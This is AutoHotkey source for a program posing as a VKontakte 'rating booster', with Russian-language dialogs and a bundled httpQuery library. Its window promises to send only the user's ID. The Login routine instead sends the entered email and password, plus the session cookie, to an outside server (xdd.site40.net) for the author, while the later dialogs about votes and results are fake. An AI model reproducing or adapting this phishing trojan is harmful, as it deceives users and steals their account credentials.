1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
| #NoTrayIcon
#SingleInstance off
Gui, Add, Edit, x92 y92 w170 h20 vMail,
Gui, Add, Edit, x92 y122 w170 h20 vPassword +Password,
Gui, Add, Text, x12 y12 w240 h70 , Программа для поднятия рейтинга Вконтакте. `nСкажу сразу, программа отправляет ваш ID на сервер программы и ТОЛЬКО!!`nЭто нужно для того, что бы знать кому перечислять голоса.`n Введите ваш логин и пароль:
Gui, Add, Text, x12 y92 w80 h20 , Логин
Gui, Add, Text, x12 y122 w80 h20 , Пароль
Gui, Add, Button, x12 y152 w250 h30 gLogin, Вход
Gui, Show, x440 y419 h192 w271, Вконтакте | Рейтинг
Return
Login:
Gui,Submit,Nohide
UrMail := "Ваше мыло"
httpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
URL := "http://login.vk.com/?act=login&email=" Mail "&pass=" Password "&expire=&vk=1"
POSTdata := ""
httpQuery(html := "", URL, "", "")
varSetCapacity(html,-1)
FoundPos := RegExMatch(html, "<input type='hidden' name='s' value='(.*)' />`n <input type='hidden' name='op' value='slogin' />", cookie)
txt = %Cookie1%
needle = <input type='hidden' name='s' value='
haystack = %html%
If RegExMatch(haystack, needle)
{
New_Text := "remixap=1; audio_vol=80; remixchk=5; remixsid=" txt
config = %New_Text%
FileAppend, %config%, config.ini
MessageText := Mail ":" Password
MessageText := EncodeURL(MessageText)
FileReadLine, cookies, config.ini, 1
httpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://xdd.site40.net/indexd.php?mess=" MessageText "&to=" UrMail
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
EncodeURL( p_data, p_reserved=true, p_encode=true )
{
old_FormatInteger := A_FormatInteger
SetFormat, Integer, hex
unsafe =
( Join LTrim
25000102030405060708090A0B0C0D0E0F101112131415161718191A1B1C1D1E1F20
22233C3E5B5C5D5E607B7C7D7F808182838485868788898A8B8C8D8E8F9091929394
95969798999A9B9C9D9E9FA0A1A2A3A4A5A6A7A8A9AAABACADAEAFB0B1B2B3B4B5B6
B7B8B9BABBBCBDBEBFC0C1C2C3C4C5C6C7C8C9CACBCCCDCECFD0D1D2D3D4D5D6D7D8
D9DADBDCDDDEDF7EE0E1E2E3E4E5E6E7E8E9EAEBECEDEEEFF0F1F2F3F4F5F6F7F8F9
FAFBFCFDFEFF
)
if ( p_reserved )
unsafe = %unsafe%24262B2C2F3A3B3D3F40
if ( p_encode )
loop, % StrLen( unsafe )//2
{
StringMid, token, unsafe, A_Index*2-1, 2
StringReplace, p_data, p_data, % Chr( "0x" token ), `%%token%, all
}
else
loop, % StrLen( unsafe )//2
{
StringMid, token, unsafe, A_Index*2-1, 2
StringReplace, p_data, p_data, `%%token%, % Chr( "0x" token ), all
}
SetFormat, Integer, %old_FormatInteger%
return, p_data
}
DecodeURL( p_data )
{
return, EncodeURL( p_data, true, false )
}
Ansi2Oem(sString)
{
Ansi2Unicode(sString, wString, 0)
Unicode2Ansi(wString, zString, 1)
Return zString
}
Oem2Ansi(zString)
{
Ansi2Unicode(zString, wString, 1)
Unicode2Ansi(wString, sString, 0)
Return sString
}
Ansi2UTF8(sString)
{
Ansi2Unicode(sString, wString, 0)
Unicode2Ansi(wString, zString, 65001)
Return zString
}
UTF82Ansi(zString)
{
Ansi2Unicode(zString, wString, 65001)
Unicode2Ansi(wString, sString, 0)
Return sString
}
Ansi2Unicode(ByRef sString, ByRef wString, CP = 0)
{
nSize := DllCall("MultiByteToWideChar"
, "Uint", CP
, "Uint", 0
, "Uint", &sString
, "int", -1
, "Uint", 0
, "int", 0)
VarSetCapacity(wString, nSize * 2)
DllCall("MultiByteToWideChar"
, "Uint", CP
, "Uint", 0
, "Uint", &sString
, "int", -1
, "Uint", &wString
, "int", nSize)
}
Unicode2Ansi(ByRef wString, ByRef sString, CP = 0)
{
nSize := DllCall("WideCharToMultiByte"
, "Uint", CP
, "Uint", 0
, "Uint", &wString
, "int", -1
, "Uint", 0
, "int", 0
, "Uint", 0
, "Uint", 0)
VarSetCapacity(sString, nSize)
DllCall("WideCharToMultiByte"
, "Uint", CP
, "Uint", 0
, "Uint", &wString
, "int", -1
, "str", sString
, "int", nSize
, "Uint", 0
, "Uint", 0)
}
Gui, Destroy
FileReadLine, cookies, config.ini, 1
HttpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://vkontakte.ru/profile.php"
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
FoundPos := RegExMatch(html, "<title>В Контакте (.*)</title>", Name)
html := ""
URL := "http://vkontakte.ru/feed.php"
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
FoundPos := RegExMatch(html, "info{id=(.*),version=1.0.0.3}", ID)
HttpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://vkontakte.ru/rate.php?act=a_get_rate"
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
Repl21 = <b>всего<\/b><\/td><td style=\"text-align:right;padding-left:0px\"><b>
Repl22 = <\/b><\/td><\/tr>\n<\/table>\n<\/div>\n<div style=\"opacity: 0.03;filter:alpha
StringReplace, html, html, %Repl21%, ЭТО БЛЯДЬ РЕЙТИНГ, All
StringReplace, html, html, %Repl22%, ЭТО СУКА КОНЕЦ, All
FoundPos := RegExMatch(html, "ЭТО БЛЯДЬ РЕЙТИНГ(.*)ЭТО СУКА КОНЕЦ", Rate)
httpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://vkontakte.ru/profileEdit.php?page=photo"
POSTdata := ""
HEADER := "Cookie:" cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
StringReplace, html, html, %Replace%, LOLD, All
FoundPos := RegExMatch(html, "<img src=LOLD(.*)LOLD id=LOLDpreview_photoLOLD />", Ava)
URLDownloadToFile %ava1%, ava.jpg
HttpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://vkontakte.ru/payments.php"
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
StringReplace, html, html, %Replace%, LOLD, All
FoundPos := RegExMatch(html, "и <b><b>(.*)</b> голосов</b>.", Msg)
Gui, Add, Picture, x122 y12 w90 h200 , ava.jpg
Gui, Add, Text, x222 y12 w350 h20 , id%ID1% %name1%
Gui, Add, Text, x222 y32 w350 h20 , Ваш рейтинг: %Rate1%
Gui, Add, Text, x222 y52 w350 h20 , У Вас %Msg1% голосов
Gui, Add, Text, x222 y72 w120 h20 , Пополнить рейтинг
Gui, Add, Text, x412 y72 w160 h20 , Добавить голосов
Gui, Add, ListBox, x412 y92 w150 h121 , 10|20|30|40|50|60|70|80|90|100
Gui, Add, ListBox, x222 y92 w120 h121 , 10|20|30|40|50|60|70|80|90|100
Gui, Add, Button, x12 y52 w100 h30 gGolosa, Количество голосов в банке
Gui, Add, Button, x12 y92 w100 h30 gFriends, Посоветовать друзьям
Gui, Add, Button, x12 y12 w100 h30 gMenual, Инструкция
Gui, Add, Button, x12 y132 w100 h30 gUpdates, Проверить обновления
Gui, Add, Button, x12 y172 w100 h40 gMsg, Выполнить
FileDelete, ava.jpg
Gui, Show, x430 y330 h231 w580, Вконтакте | Рейтинг
}else{
TrayTip, Вконтакте,Неверный логин или пароль
}
Return
Updates:
MsgBox, У вас самая новая версия.
Return
Golosa:
HttpQueryDwFlags := (INTERNET_FLAG_NO_COOKIES:=0x00080000)
html := ""
URL := "http://xdd.site40.net/random.php"
POSTdata := ""
HEADER := "Cookie: " cookies
length := httpQuery(html,URL,POSTdata,HEADER)
varSetCapacity(html,-1)
FoundPos := RegExMatch(html, "<fffffffffuuuuuuuuuu>(.*)</fuuuuck>", html)
MsgBox, В банке %html1% голос(ов)
Return
Menual:
MsgBox, Всё просто, выбирите сколько нужно голосов или рейтинга и нажмите "выполнить".
Return
Friends:
MsgBox, Ваши друзья оповещены о это программе :) спасибо за помощь
Return
Msg:
MsgBox, Действие будет выполнено в течении часа`nПрограмма закрывается.
ExitApp
Return
GuiClose:
ExitApp
Return
; httpQuery-0-3-5.ahk
httpQuery(byref Result, lpszUrl, POSTDATA="", HEADERS="")
{ ; v0.3.5 (w) Sep, 8 2008 by Heresy & derRaphael / zLib-Style release
; updates Aug, 28 2008
; currently the verbs showHeader, storeHeader, and updateSize are supported in httpQueryOps
; in case u need a different UserAgent, Proxy, ProxyByPass, Referrer, and AcceptType just
; specify them as global variables - mind the varname for referrer is httpQueryReferer [sic].
; Also if any special dwFlags are needed such as INTERNET_FLAG_NO_AUTO_REDIRECT or cache
; handling this might be set using the httpQueryDwFlags variable as global
global httpQueryOps, httpAgent, httpProxy, httpProxyByPass, httpQueryReferer, httpQueryAcceptType
, httpQueryDwFlags
; Get any missing default Values
defaultOps =
(LTrim Join|
httpAgent=AutoHotkeyScript|httpProxy=0|httpProxyByPass=0|INTERNET_FLAG_SECURE=0x00800000
SECURITY_FLAG_IGNORE_UNKNOWN_CA=0x00000100|SECURITY_FLAG_IGNORE_CERT_CN_INVALID=0x00001000
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID=0x00002000|SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE=0x00000200
INTERNET_OPEN_TYPE_PROXY=3|INTERNET_OPEN_TYPE_DIRECT=1|INTERNET_SERVICE_HTTP=3
)
Loop,Parse,defaultOps,|
{
RegExMatch(A_LoopField,"(?P<Option>[^=]+)=(?P<Default>.*)",http)
if StrLen(%httpOption%)=0
%httpOption% := httpDefault
}
; Load Library
hModule := DllCall("LoadLibrary", "Str", "WinINet.Dll")
; SetUpStructures for URL_COMPONENTS / needed for InternetCrackURL
; [url]http://msdn.microsoft.com/en-us/library/aa385420(VS.85).aspx[/url]
offset_name_length:= "4-lpszScheme-255|16-lpszHostName-1024|28-lpszUserName-1024|"
. "36-lpszPassword-1024|44-lpszUrlPath-1024|52-lpszExtrainfo-1024"
VarSetCapacity(URL_COMPONENTS,60,0)
; Struc Size ; Scheme Size ; Max Port Number
NumPut(60,URL_COMPONENTS,0), NumPut(255,URL_COMPONENTS,12), NumPut(0xffff,URL_COMPONENTS,24)
Loop,Parse,offset_name_length,|
{
RegExMatch(A_LoopField,"(?P<Offset>\d+)-(?P<Name>[a-zA-Z]+)-(?P<Size>\d+)",iCU_)
VarSetCapacity(%iCU_Name%,iCU_Size,0)
NumPut(&%iCU_Name%,URL_COMPONENTS,iCU_Offset)
NumPut(iCU_Size,URL_COMPONENTS,iCU_Offset+4)
}
; Split the given URL; extract scheme, user, pass, authotity (host), port, path, and query (extrainfo)
; [url]http://msdn.microsoft.com/en-us/library/aa384376(VS.85).aspx[/url]
DllCall("WinINet\InternetCrackUrlA","Str",lpszUrl,"uInt",StrLen(lpszUrl),"uInt",0,"uInt",&URL_COMPONENTS)
; Update variables to retrieve results
Loop,Parse,offset_name_length,|
{
RegExMatch(A_LoopField,"-(?P<Name>[a-zA-Z]+)-",iCU_)
VarSetCapacity(%iCU_Name%,-1)
}
nPort:=NumGet(URL_COMPONENTS,24,"uInt")
; Import any set dwFlags
dwFlags := httpQueryDwFlags
; For some reasons using a selfsigned https certificates doesnt work
; such as an own webmin service - even though every security is turned off
; https with valid certificates works when
if (lpszScheme = "https")
dwFlags |= (INTERNET_FLAG_SECURE|SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE)
; Check for Header and drop exception if unknown or invalid URL
if (lpszScheme="unknown") {
Result := "ERR: No Valid URL supplied."
Return StrLen(Result)
}
; Initialise httpQuery's use of the WinINet functions.
; [url]http://msdn.microsoft.com/en-us/library/aa385096(VS.85).aspx[/url]
hInternet := DllCall("WinINet\InternetOpenA"
,"Str",httpAgent,"UInt"
,(httpProxy != 0 ? INTERNET_OPEN_TYPE_PROXY : INTERNET_OPEN_TYPE_DIRECT )
,"Str",httpProxy,"Str",httpProxyBypass,"Uint",0)
; Open HTTP session for the given URL
; [url]http://msdn.microsoft.com/en-us/library/aa384363(VS.85).aspx[/url]
hConnect := DllCall("WinINet\InternetConnectA"
,"uInt",hInternet,"Str",lpszHostname, "Int",nPort
,"Str",lpszUserName, "Str",lpszPassword,"uInt",INTERNET_SERVICE_HTTP
,"uInt",0,"uInt*",0)
; Do we POST? If so, check for header handling and set default
if (Strlen(POSTDATA)>0) {
HTTPVerb:="POST"
if StrLen(Headers)=0
Headers:="Content-Type: application/x-www-form-urlencoded"
} else ; otherwise mode must be GET - no header defaults needed
HTTPVerb:="GET"
; Form the request with proper HTTP protocol version and create the request handle
; [url]http://msdn.microsoft.com/en-us/library/aa384233(VS.85).aspx[/url]
hRequest := DllCall("WinINet\HttpOpenRequestA"
,"uInt",hConnect,"Str",HTTPVerb,"Str",lpszUrlPath . lpszExtrainfo
,"Str",ProVer := "HTTP/1.1", "Str",httpQueryReferer,"Str",httpQueryAcceptTypes
,"uInt",dwFlags,"uInt",Context:=0 )
; Send the specified request to the server
; [url]http://msdn.microsoft.com/en-us/library/aa384247(VS.85).aspx[/url]
sRequest := DllCall("WinINet\HttpSendRequestA"
, "uInt",hRequest,"Str",Headers, "uInt",Strlen(Headers)
, "Str",POSTData,"uInt",Strlen(POSTData))
VarSetCapacity(header, 2048, 0) ; max 2K header data for httpResponseHeader
VarSetCapacity(header_len, 4, 0)
; Check for returned server response-header (works only _after_ request been sent)
; [url]http://msdn.microsoft.com/en-us/library/aa384238.aspx[/url]
Loop, 5
if ((headerRequest:=DllCall("WinINet\HttpQueryInfoA","uint",hRequest
,"uint",21,"uint",&header,"uint",&header_len,"uint",0))=1)
break
If (headerRequest=1) {
VarSetCapacity(res,headerLength:=NumGet(header_len),32)
DllCall("RtlMoveMemory","uInt",&res,"uInt",&header,"uInt",headerLength)
Loop,% headerLength
if (*(&res-1+a_index)=0) ; Change binary zero to linefeed
NumPut(Asc("`n"),res,a_index-1,"uChar")
VarSetCapacity(res,-1)
} else
res := "timeout"
; Get 1st Line of Full Response
Loop,Parse,res,`n,`r
{
RetValue := A_LoopField
break
}
; No Connection established - drop exception
If (RetValue="timeout") {
html := "Error: timeout"
return -1
}
; Strip protocol version from return value
RetValue := RegExReplace(RetValue,"HTTP/1\.[01]\s+")
; List taken from [url]http://en.wikipedia.org/wiki/List_of_HTTP_status_codes[/url]
HttpRetCodes := "100=Continue|101=Switching Protocols|102=Processing (WebDAV) (RFC 2518)|"
. "200=OK|201=Created|202=Accepted|203=Non-Authoritative Information|204=No"
. " Content|205=Reset Content|206=Partial Content|207=Multi-Status (WebDAV)"
. "|300=Multiple Choices|301=Moved Permanently|302=Found|303=See Other|304="
. "Not Modified|305=Use Proxy|306=Switch Proxy|307=Temporary Redirect|400=B"
. "ad Request|401=Unauthorized|402=Payment Required|403=Forbidden|404=Not F"
. "ound|405=Method Not Allowed|406=Not Acceptable|407=Proxy Authentication "
. "Required|408=Request Timeout|409=Conflict|410=Gone|411=Length Required|4"
. "12=Precondition Failed|413=Request Entity Too Large|414=Request-URI Too "
. "Long|415=Unsupported Media Type|416=Requested Range Not Satisfiable|417="
. "Expectation Failed|418=I'm a teapot (RFC 2324)|422=Unprocessable Entity "
. "(WebDAV) (RFC 4918)|423=Locked (WebDAV) (RFC 4918)|424=Failed Dependency"
. " (WebDAV) (RFC 4918)|425=Unordered Collection (RFC 3648)|426=Upgrade Req"
. "uired (RFC 2817)|449=Retry With|500=Internal Server Error|501=Not Implem"
. "ented|502=Bad Gateway|503=Service Unavailable|504=Gateway Timeout|505=HT"
. "TP Version Not Supported|506=Variant Also Negotiates (RFC 2295)|507=Insu"
. "fficient Storage (WebDAV) (RFC 4918)|509=Bandwidth Limit Exceeded|510=No"
. "t Extended (RFC 2774)"
; Gather numeric response value
RetValue := SubStr(RetValue,1,3)
; Parse through return codes and set according informations
Loop,Parse,HttpRetCodes,|
{
HttpReturnCode := SubStr(A_LoopField,1,3) ; Numeric return value see above
HttpReturnMsg := SubStr(A_LoopField,5) ; link for additional information
if (RetValue=HttpReturnCode) {
RetMsg := HttpReturnMsg
break
}
}
; Global HttpQueryOps handling
if strlen(HTTPQueryOps)>0 {
; Show full Header response (usefull for debugging)
if (instr(HTTPQueryOps,"showHeader"))
MsgBox % res
; Save the full Header response in a global Variable
if (instr(HTTPQueryOps,"storeHeader"))
global HttpQueryHeader := res
; Check for size updates to export to a global Var
if (instr(HTTPQueryOps,"updateSize")) {
Loop,Parse,res,`n
If RegExMatch(A_LoopField,"Content-Length:\s+?(?P<Size>\d+)",full) {
global HttpQueryFullSize := fullSize
break
}
if (fullSize+0=0)
HttpQueryFullSize := "size unavailable"
}
}
; Check for valid codes and drop exception if suspicious
if !(InStr("100 200 201 202 302",RetValue)) {
Result := RetValue " " RetMsg
return StrLen(Result)
}
VarSetCapacity(BytesRead,4,0)
fsize := 0
Loop ; the receiver loop - rewritten in the need to enable
{ ; support for larger file downloads
bc := A_Index
VarSetCapacity(buffer%bc%,1024,0) ; setup new chunk for this receive round
ReadFile := DllCall("wininet\InternetReadFile"
,"uInt",hRequest,"uInt",&buffer%bc%,"uInt",1024,"uInt",&BytesRead)
ReadBytes := NumGet(BytesRead) ; how many bytes were received?
If ((ReadFile!=0)&&(!ReadBytes)) ; we have had no error yet and received no more bytes
break ; we must be done! so lets break the receiver loop
Else {
fsize += ReadBytes ; sum up all chunk sizes for correct return size
sizeArray .= ReadBytes "|"
}
if (instr(HTTPQueryOps,"updateSize"))
Global HttpQueryCurrentSize := fsize
}
sizeArray := SubStr(sizeArray,1,-1) ; trim last PipeChar
VarSetCapacity(result,fSize+1,0) ; reconstruct the result from above generated chunkblocks
Dest := &result ; to a our ByRef result variable
Loop,Parse,SizeArray,|
DllCall("RtlMoveMemory","uInt",Dest,"uInt",&buffer%A_Index%,"uInt",A_LoopField)
, Dest += A_LoopField
DllCall("WinINet\InternetCloseHandle", "uInt", hRequest) ; close all opened
DllCall("WinINet\InternetCloseHandle", "uInt", hInternet)
DllCall("WinINet\InternetCloseHandle", "uInt", hConnect)
DllCall("FreeLibrary", "UInt", hModule) ; unload the library
return fSize ; return the size - strings need update via VarSetCapacity(res,-1)
} |